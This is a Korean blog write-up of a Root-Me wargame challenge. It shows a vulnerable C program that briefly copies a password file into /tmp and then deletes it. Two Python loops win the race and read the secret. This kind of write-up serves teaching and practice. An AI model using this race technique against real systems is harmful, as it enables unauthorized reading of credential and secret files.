Wargame/Root me

[App-System] ELF x86 - Race condition

wyv3rn 2022. 7. 7. 07:31
728x90
반응형

1. intro

2. code 및 분석

2.1.  code

#include <stdio.h>
#include <string.h>
#include <sys/ptrace.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
 
#define PASSWORD "/challenge/app-systeme/ch12/.passwd"
#define TMP_FILE "/tmp/tmp_file.txt"
 
int main(void)
{
  int fd_tmp, fd_rd;
  char ch;
 
 
  if (ptrace(PTRACE_TRACEME, 0, 1, 0) < 0)
    {
      printf("[-] Don't use a debugguer !\n");
      abort();
    }
  if((fd_tmp = open(TMP_FILE, O_WRONLY | O_CREAT, 0444)) == -1)
    {
      perror("[-] Can't create tmp file ");
      goto end;
    }
   
  if((fd_rd = open(PASSWORD, O_RDONLY)) == -1)
    {
      perror("[-] Can't open file ");
      goto end;
    }
   
  while(read(fd_rd, &ch, 1) == 1)
    {
      write(fd_tmp, &ch, 1);
    }
  close(fd_rd);
  close(fd_tmp);
  usleep(250000);
end:
  unlink(TMP_FILE);
   
  return 0;
}

2.2. 분석

.passwd 파일을 열고, /tmp 폴더에 복사한다음 삭제한다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

파일이 작성되고 삭제되기의 짧은 시간에 해당 파일을 읽어올 수 있다.

3.2. 공격 준비

hackerschool의 FTZ 이후로 오랜만의 레이스 컨디션 문제이다.

해당 프로그램은 .passwd 파일을 읽어와서 /tmp/tmp_file.txt에 쓴 다음 삭제한다.

그러므로 터미널 두개를 띄워

하나는 지속적으로 해당 파일을 실행하고

하나는 /tmp/tmp_file.txt 파일을 읽어오면 된다.

 

4. exploit

#terminal 1.

import os

while 1:
    print(os.system('~/ch12'))


#terminal 2.

import os

while 1:
    print (os.system('cp /tmp/tmp_file.txt /tmp/wvkey 2>/dev/null'))
    print (os.system('cat /tmp/wvkey 2>/dev/null'))


둘을 같이 실행하면 키를 얻을 수 있다.

728x90
반응형